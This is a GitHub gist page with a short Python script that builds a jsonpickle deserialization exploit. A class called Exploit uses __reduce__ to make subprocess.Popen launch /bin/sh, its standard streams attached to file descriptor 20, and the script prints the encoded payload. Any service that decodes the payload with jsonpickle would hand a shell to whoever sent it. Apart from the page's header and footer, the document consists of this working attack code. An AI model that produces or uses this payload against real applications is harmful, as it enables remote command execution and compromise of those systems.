Skip to content

Instantly share code, notes, and snippets.

@oberstet
Created January 7, 2015 09:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oberstet/3723147344967b9794c0 to your computer and use it in GitHub Desktop.
Save oberstet/3723147344967b9794c0 to your computer and use it in GitHub Desktop.
import jsonpickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
fd = 20
return (subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd # std{in,out,err}
))
print jsonpickle.encode(Exploit())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment